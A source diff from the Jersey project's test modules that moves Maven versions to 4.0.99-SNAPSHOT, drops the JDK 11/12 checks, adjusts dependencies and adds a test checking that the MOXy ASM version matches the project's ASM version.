--- a/tests/performance/tools/pom.xml
+++ b/tests/performance/tools/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <groupId>org.glassfish.jersey.tests.performance.tools</groupId>
     <artifactId>performance-test-tools</artifactId>
diff --git a/tests/pom.xml b/tests/pom.xml
index f38d9bd..01fdcf0 100644
--- a/tests/pom.xml
+++ b/tests/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests</groupId>
@@ -49,8 +49,10 @@
         <module>integration</module>
         <module>mem-leaks</module>
         <module>osgi</module>
-        <module>stress</module>
+        <module>release-test</module>
         <module>performance</module>
+        <module>stress</module>
+        <module>version-agnostic</module>
     </modules>
 
     <dependencyManagement>
@@ -115,15 +117,6 @@
             </build>
         </profile>
         <profile>
-            <id>JDK11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <modules>
-                <module>release-test</module>
-            </modules>
-        </profile>
-        <profile>
             <id>JDK17+</id>
             <activation>
                 <jdk>[17,)</jdk>
diff --git a/tests/release-test/pom.xml b/tests/release-test/pom.xml
index deb69f8..1be9c8f 100644
--- a/tests/release-test/pom.xml
+++ b/tests/release-test/pom.xml
@@ -23,13 +23,13 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
     <groupId>org.glassfish.jersey.tests</groupId>
     <artifactId>release-test</artifactId>
-    <version>3.5.99-SNAPSHOT</version>
+    <version>4.0.99-SNAPSHOT</version>
     <packaging>jar</packaging>
     <name>jersey-release-test</name>
 
@@ -40,6 +40,7 @@
         <maven.compiler.target>11</maven.compiler.target>
         <maven.version>3.8.6</maven.version>
         <maven.resolver.version>1.7.3</maven.resolver.version> <!-- 1.8.2 does not work-->
+        <httpcore.version>4.4.16</httpcore.version>
     </properties>
 
     <build>
@@ -55,6 +56,7 @@
                     <includes>
                         <include>**/ArchetypesTest</include>
                         <include>**/NoticeFilesTest</include>
+                        <include>**/MoxyAsmTest</include>
                     </includes>
                 </configuration>
             </plugin>
@@ -108,13 +110,6 @@
             <scope>provided</scope>
         </dependency>
         <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <version>${httpclient.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
             <groupId>org.apache.maven.plugin-testing</groupId>
             <artifactId>maven-plugin-testing-harness</artifactId>
             <version>${harness.testing.mvn.plugin.version}</version>
@@ -138,6 +133,12 @@
         </dependency>
 
         <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpcore</artifactId>
+            <version>${httpcore.version}</version>
+        </dependency>
+
+        <dependency>
             <groupId>org.glassfish.jersey.core</groupId>
             <artifactId>jersey-common</artifactId>
         </dependency>
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/DownloadBomPomDependencies.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/DownloadBomPomDependencies.java
index 6a74f07..d5c753d 100644
--- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/DownloadBomPomDependencies.java
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/DownloadBomPomDependencies.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -72,9 +72,6 @@
         MavenEnvironment mavenEnvironment = new MavenEnvironment();
         MavenProject project = mavenEnvironment.getMavenProjectForResourceFile("/non-bom-pom-deps.xml");
         for (Dependency dependency : project.getDependencies()) {
-            if (dependency.getArtifactId().contains("jackson1") && mavenEnvironment.jerseyVersion.startsWith("3")) {
-                continue;
-            }
 
             Artifact m = mavenEnvironment.resolveArtifact(dependency);
             System.out.append("Resolved ").append(dependency.getGroupId()).append(":")
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
new file mode 100644
index 0000000..0f08785
--- /dev/null
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.artifacts;
+
+import org.apache.maven.model.Dependency;
+import org.apache.maven.model.Model;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class MoxyAsmTest {
+    @Test
+    public void testAsmInMoxy() throws Exception {
+        String moxyPomFile = "../../media/moxy/pom.xml";
+        Model moxyPom = MavenUtil.getModelFromFile(moxyPomFile);
+        final Dependency moxyAsmDependency = moxyPom.getDependencies().stream()
+                .filter(dependency -> dependency.getArtifactId().equals("org.eclipse.persistence.asm"))
+                .findFirst().get();
+        Model projectPom = MavenUtil.getModelFromFile("../../pom.xml");
+        final String asmVersion = projectPom.getProperties().getProperty("asm.version");
+        final String moxyAsmVersion = projectPom.getProperties().getProperty("moxy.asm.version");
+
+        final String msg = "org.eclipse.persistence.asm (moxy.asm.version) version " + moxyAsmVersion
+                + " differs from asm version (asm.version) " + asmVersion + " in /media/moxy/pom.xml";
+        Assert.assertEquals(msg, asmVersion, moxyAsmVersion);
+        System.out.println("Found expected Moxy ASM version " + moxyAsmVersion);
+    }
+}
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
index 11a417e..1b06c49 100644
--- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,16 +37,12 @@
     private static final File localRepository = MavenUtil.getLocalMavenRepository();
     private static final Properties properties = MavenUtil.getMavenProperties();
 
-    private static final DependencyPair[] jdk11multiRelease = jdk11multiRelease(properties);
-    private static final DependencyPair[] jdk12multiRelease = jdk12multiRelease(properties);
     private static final DependencyPair[] jdk17multiRelease = jdk17multiRelease(properties);
     private static final DependencyPair[] jdk21multiRelease = jdk21multiRelease(properties);
 
     @Test
     public void testIsJdkMultiRelease() throws IOException, XmlPullParserException {
-        TestResult result = testJdkVersions("11", jdk11multiRelease);
-        result.append(testJdkVersions("12", jdk12multiRelease));
-        result.append(testJdkVersions("17", jdk17multiRelease));
+        TestResult result = testJdkVersions("17", jdk17multiRelease);
         result.append(testJdkVersions("21", jdk21multiRelease));
         //Assertions.assertTrue(result.result(), "Some error occurred, see previous messages");
         Assert.assertTrue("Some error occurred, see previous messages", result.result());
diff --git a/tests/release-test/src/test/resources/non-bom-pom-deps.xml b/tests/release-test/src/test/resources/non-bom-pom-deps.xml
index e3aca57..fa43bf1 100644
--- a/tests/release-test/src/test/resources/non-bom-pom-deps.xml
+++ b/tests/release-test/src/test/resources/non-bom-pom-deps.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,44 +33,39 @@
 
     <dependencies>
         <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-json-jackson1</artifactId>
-            <version>2.27</version>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.security</groupId>
             <artifactId>oauth1-client</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.security</groupId>
             <artifactId>oauth1-server</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.security</groupId>
             <artifactId>oauth1-signature</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.incubator</groupId>
             <artifactId>jersey-injectless-client</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.incubator</groupId>
             <artifactId>jersey-open-tracing</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-kryo</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
             <artifactId>jersey-declarative-linking</artifactId>
-            <version>2.27</version>
+            <version>4.0.0-M2</version>
         </dependency>
     </dependencies>
 
diff --git a/tests/stress/pom.xml b/tests/stress/pom.xml
index 31b1ddb..d3ff0d9 100644
--- a/tests/stress/pom.xml
+++ b/tests/stress/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>stress</artifactId>
diff --git a/tests/version-agnostic/pom.xml b/tests/version-agnostic/pom.xml
index 552ac47..6d76dbb 100644
--- a/tests/version-agnostic/pom.xml
+++ b/tests/version-agnostic/pom.xml
@@ -38,7 +38,7 @@
         <maven.compiler.source>8</maven.compiler.source>
         <maven.compiler.target>8</maven.compiler.target>
         <hk2.version>3.0.3</hk2.version>
-        <jersey.version>3.1.6</jersey.version>
+        <jersey.version>4.0.0-M1</jersey.version>
     </properties>
 
     <build>